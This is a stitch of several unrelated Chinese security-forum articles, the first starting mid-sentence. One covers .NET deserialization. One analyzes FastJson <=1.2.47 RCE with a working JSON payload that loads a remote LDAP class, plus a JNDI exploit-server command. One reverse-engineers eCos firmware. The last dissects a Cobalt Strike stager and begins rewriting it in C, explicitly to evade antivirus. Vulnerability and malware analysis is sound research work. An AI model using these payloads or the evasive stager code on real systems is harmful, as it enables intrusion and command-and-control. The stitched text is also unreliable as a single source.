XmlSerializer(type)`的type参数，如果type可控，就可以利用ObjectDataProvider调用XamlReader的Parse进行RCE。
当然也要关注`XamlReader.Parse(xml)`中的xml是否可控。
# 后文
ObjectDataProvider这条链联动了XamlReader.Parse()，在ysoserial.net中也作为很多其他链条的一部分，是值得学习并且必须掌握的一条gadget。 | 社区文章 |
# FastJson<=1.2.47RCE细枝末节详细分析
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
上篇文章学习了FastJson的第一版漏洞，曝出后官方立马做了更新，增加了checkAutoType()函数，并默认关闭autotype，在这之后一段时间内的绕过都与它有关。本文主要关于FastJson<=1.2.47的相关漏洞。
## 0x01 1.2.41-1.2.43的缠绵不休
这三个版本的修复可以说是非常偷懒了，所以才会连续因为一个原因曝出多个问题。
//修复前：
if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
从1.2.41说起。在checkAutotype()函数中，会先检查传入的[@type](https://github.com/type
"@type")的值是否是在黑名单里，如果要反序列化的类不在黑名单中，那么才会对其进行反序列化。问题来了，在反序列化前，会经过loadClass()函数进行处理，其中一个处理方法是：在加载类的时候会去掉className前后的L和;。所以，如果我们传入Lcom.sun.rowset.JdbcRowSetImpl;，在经过黑白名单后，在加载类时会去掉前后的L和;，就变成了com.sun.rowset.JdbcRowSetImpl，反序列化了恶意类。
更新了1.2.42，方法是先判断反序列化目标类的类名前后是不是L和;，如果是，那么先去掉L和;，再进行黑白名单校验（偷懒qaq）。关于1.2.42绕过非常简单，只需要双写L和;，就可以在第一步去掉L和;后，与1.2.41相同。
更新也非常随意，在1.2.43中，黑白名单判断前，又增加了一个是否以LL开头的判断，如果以LL开头，那么就直接抛异常，非常随意解决了双写的问题。但是除了L和;，FastJson在加载类的时候，不只对L和;这样的类进行特殊处理，[也对特殊处理了，所以，同样的方式在前面添加[绕过了1.2.43及之前的补丁。
在1.2.44中，黑客们烦不烦，来了个狠的：只要你以[开头或者;结尾，我直接抛一个异常。如此，终于解决了缠绵多个版本的漏洞。
## 0x02 <=1.2.47的双键调用分析
### 漏洞原理
FastJson有一个全局缓存机制：在解析json数据前会先加载相关配置，调用addBaseClassMappings()和loadClass()函数将一些基础类和第三方库存放到mappings中（mappings是ConcurrentMap类，所以我们在一次连接中传入两个键值a和b，具体内容见下文）。
之后在解析时，如果没有开启autotype，会从mappings或deserializers.findClass()函数中获取反序列化的对应类，如果有，则直接返回绕过了黑名单。
本次要利用的是java.lang.Class类，其反序列化处理类MiscCodec类可以将任意类加载到mappings中，实现了目标。
### 环境搭建
环境：IDEA + JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
新建maven项目后添加1.2.47版本的fastjson，并创建fastjson1_2_47.java文件
package person;
import com.alibaba.fastjson.JSON;
public class fastjson1_2_47 {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String payload = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"}," +
"\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":" +
"\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":true}}}";
JSON.parse(payload);
}
}
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar搭建ldap服务
java -jar .\JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 127.0.0.1
运行代码，触发poc
### 动态分析
首先在JSON.parse(payload);下断点后调试
之后单步步入，过程类似于上篇文章中的调用过程，我们直到DefaultJSONParser.java的parseObject()函数
下面就进入一个for循环获取并处理我们的payload，我们跟进到如图所示位置，从这里开始就和1.2.24的调用不同了。可以看到我们获取了第一段key为a，由于不是[@type](https://github.com/type
"@type")属性，我们会跳过这个if（里面有checkAutoType()和deserializer.deserialze()，我们一会就会回来），继续跟进
我们跟进到这里，开始处理a内{里面的内容
接下来调用this.parseObject()，正式进入嵌套，获取处理key为a的内部内容，单步步入后，我们发现又进入了上面进入过的for循环，并且获取的key为[@type](https://github.com/type
"@type")，进入上面说的if段
调用了checkAutoType()来检查目标类是否符合要求，这里我们不跟进去看了，在分析b段的时候再跟进去。这里我们只要知道，我们利用的java.lang.Class是可以通过校验的就可以了，所以我们单步步过
通过checkAutoType()后获取到clazz为java.lang.Class，之后调用了对应的序列化处理类com.alibaba.fastjson.serializer.MiscCodec()，这里就是核心，我们单步步入
可以看到我们进入到MiscCodec.java的deserialze()中，首先调用parser.parse()从payload中获取val对应的键值，也就是JdbcRowSetImpl类，并赋值给strVal，我们继续跟进
接下来有一堆if判断，会对我们要反序列化的类进行一个类型的判断，直到如图位置，我们进入TypeUtils.loadClass()函数，这里默认cache为true
在TypeUtils.loadClass()中，cache为true时，将键值对应的类名放到mappings中
（到目前为止我们已经成功将恶意类com.sun.rowset.JdbcRowSetImpl加载到mappings中，接下来我们继续跟进解析传入的第二个键值b的内容，实现恶意类的jdni注入利用）
在完成loadClass()后会向上层返回，如图，继续跟进后回到for循环正式开始解析键值b的内容，获取到bkey为b后，类似于a那里，会跳过这个if段，在下面再次调用parseObject()来处理b内部内容，我们直接跟进下面的parseObject()
在parseObject()中继续跟进到入checkAutoType()，这次我们进入checkAutoType()看一下
在checkAutoType内部，没有开启autotype，直接从mappings中获取，然后返回，一气呵成，黑白名单完全没用
接下来会调用deserializer.deserialze()和1.2.24一样，造成rce
完整调用链：
## 0x03 总结和修复
本次利用分两步：
第一步利用java.lang.Class将恶意类加载到mappings中；
第二步从mappings中取出恶意类并绕过黑名单进行了反序列化。
在1.2.48中，首先将java.lang.class类加入黑名单，然后将MiscCodec类中的cache参数默认为false，对于checkAutoType()也调整相关逻辑。尽快升级，据说当年hw一片。
## 0x04 结语
上面首先讲述了1.2.41-1.2.43的愚蠢问题，之后跟踪了<=1.2.47的RCE，相信已经非常清楚了，在之后FastJson又曝出了其他问题，下篇文章继续学习。 | 社区文章 |
# Zyxel设备eCos固件加载地址分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
最近在分析`Zyxel`
某型号设备时，发现该设备的固件无法采用`binwalk`等工具进行提取。根据`binwalk`的提示信息，猜测该设备使用的是`eCos`实时操作系统，其固件是一个单一大文件。由于不知道其加载地址，在使用`IDA`等工具进行分析时，无法建立正确的交叉引用，直接逆向会比较麻烦。而网上与`eCos`固件分析相关的资料不多，在没有相关的芯片文档或`SDK`手册等资料的前提下，从该固件本身出发，通过对固件进行简单分析，寻找固件中引用的固定地址，最终确定了该固件的加载地址。
## binwalk分析
首先使用`binwalk`工具对固件进行分析，如下。尝试使用`-e`选项进行提取时失败，说明该固件可能就是一个单一大文件。从输出中可以看到很多与`eCos`相关的字符串，其中`"eCos
kernel exception handler, architecture: MIPSEL, exception vector table base
address: 0x80000200"`指出了该文件的架构(`MIPSEL`)和异常向量表基地址(`0x80000200`)。
$ binwalk RGS200-12P.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
128 0x80 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
5475588 0x538D04 Unix path: /home/remus/svn/ivs/IVSPL5-ZyXEL_New/src_0603/build/../build/obj/ecos/install/include/cyg/libc/stdlib/atox.inl
5475653 0x538D45 eCos RTOS string reference: "ecos/install/include/cyg/libc/stdlib/atox.inl"
# ...
5945083 0x5AB6FB eCos RTOS string reference: "ecos_driver_vid_to_if_index!"
5949577 0x5AC889 eCos RTOS string reference: "ecos_driver_inject vid=%u, length=%u"
# ...
6525239 0x639137 eCos RTOS string reference: "eCos/packages/devs/serial/generic/16x5x/current/src/ser_16x5x.c"
# ...
尝试使用`IDA`工具直接加载该文件，设置架构为`mipsel`、加载地址为`0x80000200`后，如下。可以看到没有识别出一个函数，整个`segment`都是`Unexplored`状态，估计是因为加载地址不正确，因此需要想办法获取固件的加载地址。
> 一般，判断加载地址是否正确的方式包括：1) 成功识别出的函数个数；2）正确的字符串交叉引用个数。
>
> 后来发现即使加载基址正确，初始状态也是这样，需要在对应的地方手动`Make Code`才行 。。。可能还需要有合适的loader 进行初始化 ???
> 相比而言，`Ghidra`就可以自动进行分析。
根据相关信息进行查找，文章[ecos vector.S
分析II](https://blog.csdn.net/qq_20405005/article/details/77971929)中简单介绍了`eCos`异常中断的初始化及处理等知识，如下，尝试其中提到的地址`0x80000180`似乎不对。
# mips cpu 产生exception/interrupt后，cpu会跳到特定的几个地址上,
# BEV=0时，一般的在0x80000180,当然还有些其他地址，详细的要去看mips书籍
# 这里有这样的代码
FUNC_START(other_vector)
mfc0 k0,cause # K0 = exception cause
nop
andi k0,k0,0x7F # isolate exception code
la k1,hal_vsr_table # address of VSR table
add k1,k1,k0 # offset of VSR entry
lw k1,0(k1) # k1 = pointer to VSR
jr k1 # go there
nop # (delay slot)
FUNC_END(other_vector)
在`MLT
linker`文件[mips_tx49.ld](https://git.falcom.de/pub/ecos/-/blob/5ae20c384f92067161fe47cd1bed577d4e5b1a2b/packages/hal/mips/tx49/current/src/mips_tx49.ld)中提到了`hal_vsr_table`和`hal_virtual_vector_table`等地址，搜索`SECTION_rom_vectors
(rom`，尝试找到的一些地址后仍然不对。
// MLT linker script for MIPS TX49
/* this version for ROM startup */
#define SECTION_rom_vectors(_region_, _vma_, _lma_) \
.rom_vectors _vma_ : _lma_ \
{ KEEP (*(.reset_vector)) \
. = ALIGN(0x200); KEEP (*(.utlb_vector)) \
. = ALIGN(0x100); . = . + 4; \
. = ALIGN(0x80); KEEP(*(.other_vector)) \
. = ALIGN(0x100); KEEP(*(.debug_vector)) } \
> _region_
#endif /* ROM startup version of ROM vectors */
// 0-0x200 reserved for vectors
hal_vsr_table = 0x80000200;
hal_virtual_vector_table = 0x80000300;
// search results
// packages/hal/mips/idt79s334a/current/include/pkgconf/mlt_mips_idt32334_refidt334_rom.ldi
SECTION_rom_vectors (rom, 0x80200000, LMA_EQ_VMA)
// ...
## bare-metal firmware加载地址分析
一般来说，针对`bare-metal
firmware`，为了确定其加载地址，可以通过查询对应的芯片文档或`SDK`手册等资料，得到内存空间的映射分布。示例如下，其中`Flash
memory`的范围为`0x08000000~0x0801FFFF`。
> 来源: [STM32F103C8 memory
> mapping](https://www.st.com/resource/en/datasheet/stm32f103c8.pdf)
此外，对于一些`ARM`架构的`bare-metal firmware`，还可以通过中断向量表来推测加载地址。中断向量表中的前2项内容分别为`Initial
SP value`和`Reset`，其中`Reset`为`reset
routine`的地址，设备上电/重置时将会从这里开始执行，根据该地址推测可能的加载地址。
> In the used cores, an ARM Cortex-M3, the boot process is build around the
> reset exception. At device boot or reboot the core assumes the vector table
> at `0x0000.0000`. The vector table contains exception routines and the
> initial value of the stack pointer. On power-on now the microcontroller
> first loads the initial stack pointer from `0x0000.0000` and then address of
> the reset vector (`0x0000.0004`) into the program counter register (`R15`).
> The execution continues at this address. ([来源](https://blog.3or.de/starting-> embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html))
> 来源：[ARM Cortex-M3 Vector
> table](https://developer.arm.com/documentation/dui0552/a/the-> cortex-m3-processor/exception-model/vector-table)
在没有对应的芯片文档或`SDK`手册等资料时，可以尝试从固件本身出发，通过分析固件中的一些特征来推测可能的加载地址。例如，[Magpie](https://www.anquanke.com/post/id/198276)通过识别`ARM`固件中的函数入口表，然后基于函数入口表中的地址去推测可能的加载基址；[limkopi.me](https://limkopi.me/analysing-sj4000s-firmware/)通过查找指令中引用的固定地址，成功试出了该`eCos`固件的加载地址。上述方法的本质都是查找固件中存在的固定地址(绝对地址)，因为即使加载地址不正确，引用的这些固定地址也不会改变。下面尝试通过同样的方法来对`Zyxel`
`RGS200-12P`设备的固件进行分析。
> 由于该固件是`MIPS`架构的，而`Magpie`的工具是针对`ARM`架构的，因此并未直接尝试该工具。
## eCos固件加载地址分析
前面使用`binwalk`工具进行分析时，其输出结果中包含`"eCos kernel exception handler, architecture:
MIPSEL, exception vector table base address:
0x80000200"`。通过查看`binwalk`中`ecos`对应的[magic](https://github.com/ReFirmLabs/binwalk/blob/master/src/binwalk/magic/ecos)，如下，表明`binwalk`在该固件中匹配到一些模式。
# eCos kernel exception handlers
#
# mfc0 $k0, Cause # Cause of last exception
# nop # Some versions of eCos omit the nop
# andi $k0, 0x7F
# li $k1, 0xXXXXXXXX
# add $k1, $k0
# lw $k1, 0($k1)
# jr $k1
# nop
0 string \x00\x68\x1A\x40\x00\x00\x00\x00\x7F\x00\x5A\x33 eCos kernel exception handler, architecture: MIPSEL,
>14 leshort !0x3C1B {invalid}
>18 leshort !0x277B {invalid}
>12 uleshort x exception vector table base address: 0x%.4X
>16 uleshort x \b%.4X
使用`IDA`工具加载该文件，设置架构为`mipsl`、加载地址为`0x80000000`，在最开始处`Make Code`后，看到了熟悉的`eCos
kernel exception
handler`，同时其中包含一个固定地址为`0x80000200`。由于该固件文件有点大(约`10M`)，仅靠单个地址去猜测加载地址比较费事：(1)
一次完整的分析比较耗时(大概几分钟)，猜测多个地址的话需要分析好几次；(2)
手动去确认识别出的函数以及字符串交叉引用是否正确也比较麻烦(可能包含成百上千个函数及字符串交叉引用)。因此还需要查找更多的固定地址以及更有规律的地址，来确定加载地址的区间。
> 由于对`eCos`系统不了解，刚开始以为加载地址可能在`0x80000000~0x80000200`之间 :(，后来发现不对。
ROM:80000000 # Segment type: Pure code
ROM:80000000 .text # ROM
ROM:80000000 mfc0 $k0, Cause # Cause of last exception
ROM:80000004 nop
ROM:80000008 andi $k0, 0x7F
ROM:8000000C li $k1, unk_80000200
ROM:80000014 add $k1, $k0
ROM:80000018 lw $k1, 0($k1)
ROM:8000001C jr $k1
ROM:80000020 nop
在`Hex View`窗口中快速浏览固件时，发现了一些有规律的内容，如下。其中，存在一些连续的内容(以4字节为单位)，其最后2个字节均相同，对应到`IDA
View`窗口中，分别为指向代码片段的地址和指向字符串的地址。由于此时加载地址不正确，故看到的字符串引用比较奇怪。
> 当然，文件中还存在一些其他的规律，比如以8字节为单位，以16字节为单位等等。
根据上述规律可以从固件文件中提取出所有的固定地址，一方面可以缩小加载地址所在的范围，另一方面可以利用这些固定地址去判断尝试的加载地址是否正确。[Magpie](https://www.anquanke.com/post/id/198276)根据代码片段地址引用处是否是函数的序言指令来判断加载地址是否正确，由于函数的序言指令需要考虑多种情况，这里采用另一种简单的方式：根据字符串交叉引用是否正确来进行判断。
针对该`eCos`固件，确定其加载地址的方法如下：
(1)
以4字节为单位，判断邻近内容的低/高2字节是否相同，提取固件中所有符合规律的固定地址。考虑到大小端差异，在实际比较时以2字节为单位，判断相邻浅蓝色框(或红色框)内的内容是否相同。
(2)
提取出所有的固定地址后，先筛掉不合法的地址，然后对剩下的地址进行排序，排序后的结果中的第一个地址为加载地址的上限。同时，排序后的结果中前半部分为指向代码片段的地址，后半部分为指向字符串的地址。从中选择一个地址，将指向字符串的地址和指向代码的地址分开。之后，随机从字符串地址列表中选取一定数量的地址，作为后续判断的依据。
> 模糊的正确，只需要保证分到字符串地址列表中的地址均正确即可，因此可以尽量从列表后半部分取，至于是否有字符串引用地址分到了代码片段引用地址列表中不重要。
(3)
在确定的加载地址范围内逐步进行尝试，同时针对每个尝试的加载地址，判断之前选取的每个字符串引用地址指向的字符串是否”正确”，并记录下正确的个数。对应字符串地址”命中”最多的那个加载地址，很有可能就是正确的加载地址。
>
> 判断字符串引用地址是否正确，可根据该地址是否指向完整字符串的开头判断，即对应地址处的前一个字节是否为`'\x00'`。当然，也存在一些字符串引用地址指向某个完整字符串的中间(“字符串复用”)，但大部分的地址还是指向完整字符串的开头。
根据上述思路，推测出了该`eCos`固件的加载地址为`0x80040000`。通过分析部分函数逻辑和字符串交叉引用，验证该加载地址是正确的。另外，采用该方法对另外几个`eCos`固件(包括其他厂商的)进行分析，也可以得出正确的加载地址，说明该方法是可行的。当然，该方法还存在可以改进或优化的地方，不过目前暂时够用了。
$ python find_ecos_load_addr.py
# ...
[+] Top 10 string hit count ...
---> load_base: 0x80040000, str_hit_count: 19
---> load_base: 0x80019a30, str_hit_count: 11
---> load_base: 0x800225a0, str_hit_count: 11
---> load_base: 0x80041cd0, str_hit_count: 11
---> load_base: 0x800442d0, str_hit_count: 11
---> load_base: 0x80019680, str_hit_count: 10
---> load_base: 0x80019940, str_hit_count: 10
---> load_base: 0x80019af0, str_hit_count: 10
---> load_base: 0x80026090, str_hit_count: 10
---> load_base: 0x80008b90, str_hit_count: 9
[+] Possible load_base: 0x80040000
## binwalk magic添加
设置正确的加载地址后，在对文件进行分析时，在文件头部发现与`VSR table`初始化相关的代码，如下。
.text:80040118 li $gp, 0x809A1140
.text:80040120 li $a0, 0x8099B7D0
.text:80040128 move $sp, $a0
.text:8004012C li $v0, loc_80040224
.text:80040134 li $v1, 0x80000200
.text:8004013C sw $v0, 4($v1)
.text:80040140 sw $v0, 8($v1)
.text:80040144 sw $v0, 0xC($v1)
.text:80040148 sw $v0, 0x10($v1)
.text:8004014C sw $v0, 0x14($v1)
.text:80040150 sw $v0, 0x18($v1)
.text:80040154 sw $v0, 0x1C($v1)
.text:80040158 sw $v0, 0x20($v1)
.text:8004015C sw $v0, 0x24($v1)
# ...
参考文章[ecos vector.S
分析II](https://blog.csdn.net/qq_20405005/article/details/77971929)中对`eCos`异常中断的初始化及处理的介绍，对照上述代码可知，`0x80000200`为`hal_vsr_table`的地址，而`0x80040224`则为`__default_exception_vsr`的地址。根据前面推测出的加载地址`0x80040000`，猜测该地址与`__default_exception_vsr`有关，即根据`__default_exception_vsr`的地址，考虑地址对齐，可以推测出对应的加载地址。
# mips cpu 产生exception/interrupt后，cpu 会跳到特定的几个地址上,
# BEV=0时，一般的在0x80000180,当然还有些其他地址，详细的要去看mips书籍
# 这里有这样的代码
FUNC_START(other_vector)
mfc0 k0,cause # K0 = exception cause
nop
andi k0,k0,0x7F # isolate exception code
la k1,hal_vsr_table # address of VSR table
add k1,k1,k0 # offset of VSR entry
lw k1,0(k1) # k1 = pointer to VSR
jr k1 # go there
nop # (delay slot)
FUNC_END(other_vector)
# 从cause 里取出exception ExcCode,然后到hal_vsr_table 取相应的处理vsr, hal_vsr_table的内容是由 hal_mon_init 填充的
.macro hal_mon_init
la a0,__default_interrupt_vsr
la a1,__default_exception_vsr # <===
la a3,hal_vsr_table # <===
sw a0,0(a3)
sw a1,1*4(a3)
sw a1,2*4(a3)
sw a1,3*4(a3)
sw a1,4*4(a3)
sw a1,5*4(a3)
sw a1,6*4(a3)
sw a1,7*4(a3)
sw a1,8*4(a3)
# ...
.endm
# 这里填充的是__default_interrupt_vsr和__default_exception_vsr,
# ExcCode=0是interrupt,其他的都是exception,就是说产生interrupt会调用__default_interrupt_vsr，产生exception会调用__default_exception_vsr。
根据上述代码特征，通过在`binwalk`中添加对应的`eCos
magic`，再次对文件进行分析时即可匹配对应的代码模式，输出`__default_exception_vsr`地址信息，如下，根据该信息即可推测出对应的加载地址。
> 利用`binwalk`对另外几个`eCos`固件(包括其他厂商的)进行分析，也可以输出相关的信息，推测出对应的加载地址。
$ binwalk RGS200-12P.bin
DECIMAL HEXADECIMAL DESCRIPTION
-------------------------------------------------------------------------------- 0 0x0 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
128 0x80 eCos kernel exception handler, architecture: MIPSEL, exception vector table base address: 0x80000200
300 0x12C eCos vector table initialization handler, architecture: MIPSEL, default exception vector table base address: 0x80040224, hal_vsr_table base address: 0x80000200
# ...
## 其他
### 自动分析
使用`IDA`加载该固件并设置正确的架构、加载地址等参数后，默认情况下`IDA`不会自动进行分析。相比而言，`Ghidra`则可以自动进行分析，成功识别出函数并建立字符串的交叉引用。因此，一种方式是对照`Ghidra`分析的结果，在`IDA`中进行部分手动`Make
Code` (当然，也可以直接使用`Ghidra` … )；另一种方式是写一个简单的`eCos loader`插件，然后`IDA`就可以自动进行分析了。
### 函数名恢复
该单一大文件中不存在导入表及导出表，故无法区分哪些是常见的系统函数，比如`memcpy()`,
`strcpy()`等。但也有其好处，在代码中存在很多函数名/日志等信息，根据这些信息可以很容易地对函数名进行恢复。
### 函数调用约定
对于`MIPS32`架构的程序，常见的函数调用约定遵循`O32
ABI`，即`$a0-$a3`寄存器用于函数参数传递，多余的参数通过栈进行传递，返回值保存在`$v0-$v1`寄存器中。而该`eCos`固件则遵循[N32
ABI](https://en.wikipedia.org/wiki/MIPS_architecture#Calling_conventions)，最大的不同在于`$a0-$a7`寄存器用于函数参数传递(对应`O32
ABI`中的`$a0-$a3`, `$t0-$t3`)。
`IDA`中支持更改处理器选项中的`ABI`模式，但仅修改该参数似乎不起作用。默认情况下`"Compiler"`是`"Unknown"`，将其修改为`"GNU
C++"`，同时修改`ABI`为`n32`，之后反编译代码中函数参数的显示就正常了。
## 小结
本文通过对`Zyxel`某设备`eCos`固件进行分析，寻找固件中引用的固定地址，给出了推测固件加载地址的思路，根据该思路成功得到了固件的加载地址。同时，通过对文件进行分析，在文件中发现了与`VSR
table`初始化相关的代码，根据该代码可以反推出固件的加载地址，并在`binwalk`中添加对应的`eCos magic`来自动匹配该模式。
## 相关链接
* [ecos vector.S 分析II: exception/interrupt](https://blog.csdn.net/qq_20405005/article/details/77971929)
* [Starting Embedded Reverse Engineering: FreeRTOS, libopencm3 on STM32F103C8T6](https://blog.3or.de/starting-embedded-reverse-engineering-freertos-libopencm3-on-stm32f103c8t6.html)
* [Magpie: ARM固件基址定位工具开发](https://www.anquanke.com/post/id/198276)
* [limkopi.me: Analysing SJ4000’s firmware](https://limkopi.me/analysing-sj4000s-firmware/)
* [MIPS calling conventions](https://en.wikipedia.org/wiki/MIPS_architecture#Calling_conventions) | 社区文章 |
## 1\. 概述
一直很想有一个自己的控，奈何实力不允许，CS 仍然是目前市面上最好用的控，但是也被各大厂商盯得很紧，通过加载器的方式进行免杀效果有限，后来看到有人用 go
重写了 CS 的 beacon，感觉这个思路很好，但是 go 编译的也有很多问题，加载起来会有很多受限的地方，所以想着能不能用 C 去重写一个，不过
beacon 的功能很多，短时间去重写有点费劲，所以想先重写 CS 的 stager 部分，并能转化成 shellcode 通过加载器进行加载。CS
4.7出来有段时间了，本文尝试对 CS 的 stager 进行逆向，并尝试用 C 重写 stager 的 shellcode 。
## 2\. 样本信息
样本名：artifact.exe （通过CS的Windows Stager Payload生成的64位exe）
## 3\. Stager 逆向
CS 生成的 exe 格式的 stager 本质上就是一个 shellcode 加载器，真正实现 stager 的拉取 beacon 功能的是其中的
shellcode 部分，因为加载器我们可以通过很多方式去实现，且4.7版本的 stager 加载流程并没有较大变化，所以对 stager
的加载部分只做简单的分析。
#### 3.1 Shellcode加载部分：
进入主函数，直接进 sub_4017F8 函数看它的功能实现：
进入 sub_4017F8 函数，先获取系统时间戳，然后创建线程通过管道读取 shellcode 并执行：
拼接的管道名：\\\\.\pipe\MSSE-3410-server：
跟进 CreateThread 中的线程执行函数：
跟进 WriteShellcodeToPipe_401630，创建管道并循环写入 shellcode：
shellcode 内容如下：
写入 shellcode：
跟进 ShellcodeExec_4017A6 函数，该函数实现从管道接收 shellcode 并解密执行：
从管道中读取 shellcode 到内存：
将读取到的 shellcode 在 DecryptAndExecShellcode_401595 函数中解密执行：
解密后的 shellcode 可以通过 CreateThread 的传参找到，起始地址保存在 R9 寄存器中：
#### 3.2 Shellcode执行部分：
Shellcode 是一段地址无关代码，不能直接调用 Win32Api，CS 的 shellcode 是通过遍历 PEB 结构和 PE
文件导出表并根据导出函数的 hash 值查找需要的模块和 API 函数：
##### 3.2.1 遍历PEB获取Win32API
遍历PEB：
计算模块哈希：
查找导出函数：
该部分的完整汇编如下：
| mov rdx,qword ptr gs:[rdx+60] | 查找PEB
| mov rdx,qword ptr ds:[rdx+18] | 查找LDR链表
| mov rdx,qword ptr ds:[rdx+20] | 访问InMemoryOrderModuleList链表
| mov rsi,qword ptr ds:[rdx+50] | 将模块名称存入rsi寄存器
| movzx rcx,word ptr ds:[rdx+4A] | 将模块名称长度存入rcx寄存器（unicode）
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入模块名称
| cmp al,61 | 判断大小写
| jl A0037 | 大写则跳转
| sub al,20 | 如果是小写就转换为大写
| ror r9d,D | ROR13加密计算
| add r9d,eax | 将计算得到的hash值存入R9寄存器
| loop A002D | 循环计算
| push rdx |
| push r9 |
| mov rdx,qword ptr ds:[rdx+20] | 找到模块基地址
| mov eax,dword ptr ds:[rdx+3C] | 找到0x3C偏移（PE标识）
| add rax,rdx | rax指向PE标识
| cmp word ptr ds:[rax+18],20B | 判断OptionHeader结构的Magic为是否为20B（PE32+）
| jne A00C7 |
| mov eax,dword ptr ds:[rax+88] | 将导出表RVA赋值给eax寄存器
| test rax,rax |
| je A00C7 |
| add rax,rdx | 模块基址+导出表RVA=导出表VA
| push rax |
| mov ecx,dword ptr ds:[rax+18] | 将导出函数的数量赋值给ecx寄存器
| mov r8d,dword ptr ds:[rax+20] | 将导出函数的起始RVA赋值给R8寄存器
| add r8,rdx | 导出函数的起始VA
| jrcxz A00C6 |
| dec rcx |
| mov esi,dword ptr ds:[r8+rcx*4] | 从后向前获取导出函数的RVA
| add rsi,rdx | 当前导出函数的VA
| xor r9,r9 |
| xor rax,rax |
| lodsb | 逐字符读入导出函数名
| ror r9d,D | ROR13加密运算
| add r9d,eax | 计算的hash存入R9
| cmp al,ah | 字符串最后一位为0，此时al、ah均为0，循环结束
| jne A007D | 不为0，继续运算
| add r9,qword ptr ss:[rsp+8] | 将模块hash与函数hash求和
| cmp r9d,r10d | 运算结果与要查找的函数hash（R10）进行比较
| jne A006E | 没找到则跳回去继续找
| pop rax |
之后会不断循环上面的代码通过hash依次查找以下Api函数：
0x0726774C => LoadLibraryA
0xA779563A => InternetOpenA
0xC69F8957 => InternetConnectA
0x3B2E55EB => HttpOpenRequestA
0x7B18062D => HttpSendRequestA
0xE553A458 => VirtualAlloc
0xE2899612 => InternetReadFile
##### 3.2.2 请求C2服务器建立连接
调用 LoadLibraryA 加载 wininet.dll：
调用 InternetOpenA 进行初始化：
调用 InternetConnectA 与控制端建立 http 会话：
调用 HttpOpenRequestA 创建 http 请求：
调用 HttpSendRequestA 将指定请求发送到服务器：
##### 3.2.3 获取Beacon加载上线
调用 VirtualAlloc 为 beacon 分配内存：
循环调用 InternetReadFile 将 beacon 读取到分配的内存：
跳转，进入 beacon 的内存空间：
之后，beacon 会解密自身，通过反射式DLL注入执行上线，不在本篇范围，故不赘述。
## 4\. C 重写 Shellcode
通过前面的内容我们已经了解了 CS 的 stager 的基本功能，其中 shellcode 部分通过调用 wininet.dll 中的相关 API 函数向
C2 服务器发起 http 请求并建立连接，远程读取 beacon 的内容并为其分配内存后跳转执行，在 C 里面，我们只需要调用相同的 API
函数即可实现相同的功能。
然而，我们的目的是希望用 C 编写出来的代码可以转化为 shellcode，这样既可以保留 shellcode 灵活加载的优势，也可以通过编写 C
代码自由地控制 shellcode（汇编大佬勿cue）。因为 shellcode 是一段地址无关代码，我们不能像编译一个可执行文件那样直接调用
Windows API，这就是为什么 CS 的 shellcode 会有一段代码通过遍历 PEB 和导出表来获取所需的 Windows API 函数。
理清了思路，剩下的就是写代码了，下面给出关键代码。
#### 4.1 Shellcode的代码实现
##### 4.1.1 遍历PEB获取Win32API
这个部分已经有很多代码实例了，直接拿来 include 就可以：
#include <windows.h>
#include <winternl.h>
// This compiles to a ROR instruction
// This is needed because _lrotr() is an external reference
// Also, there is not a consistent compiler intrinsic to accomplish this across all three platforms.
#define ROTR32(value, shift) (((DWORD) value >> (BYTE) shift) | ((DWORD) value << (32 - (BYTE) shift)))
// Redefine PEB structures. The structure definitions in winternl.h are incomplete.
typedef struct _MY_PEB_LDR_DATA {
ULONG Length;
BOOL Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
} MY_PEB_LDR_DATA, *PMY_PEB_LDR_DATA;
typedef struct _MY_LDR_DATA_TABLE_ENTRY
{
LIST_ENTRY InLoadOrderLinks;
LIST_ENTRY InMemoryOrderLinks;
LIST_ENTRY InInitializationOrderLinks;
PVOID DllBase;
PVOID EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
} MY_LDR_DATA_TABLE_ENTRY, *PMY_LDR_DATA_TABLE_ENTRY;
HMODULE GetProcAddressWithHash( _In_ DWORD dwModuleFunctionHash )
{
PPEB PebAddress;
PMY_PEB_LDR_DATA pLdr;
PMY_LDR_DATA_TABLE_ENTRY pDataTableEntry;
PVOID pModuleBase;
PIMAGE_NT_HEADERS pNTHeader;
DWORD dwExportDirRVA;
PIMAGE_EXPORT_DIRECTORY pExportDir;
PLIST_ENTRY pNextModule;
DWORD dwNumFunctions;
USHORT usOrdinalTableIndex;
PDWORD pdwFunctionNameBase;
PCSTR pFunctionName;
UNICODE_STRING BaseDllName;
DWORD dwModuleHash;
DWORD dwFunctionHash;
PCSTR pTempChar;
DWORD i;
#if defined(_WIN64)
PebAddress = (PPEB) __readgsqword( 0x60 );
#elif defined(_M_ARM)
// I can assure you that this is not a mistake. The C compiler improperly emits the proper opcodes
// necessary to get the PEB.Ldr address
PebAddress = (PPEB) ( (ULONG_PTR) _MoveFromCoprocessor(15, 0, 13, 0, 2) + 0);
__emit( 0x00006B1B );
#else
PebAddress = (PPEB) __readfsdword( 0x30 );
#endif
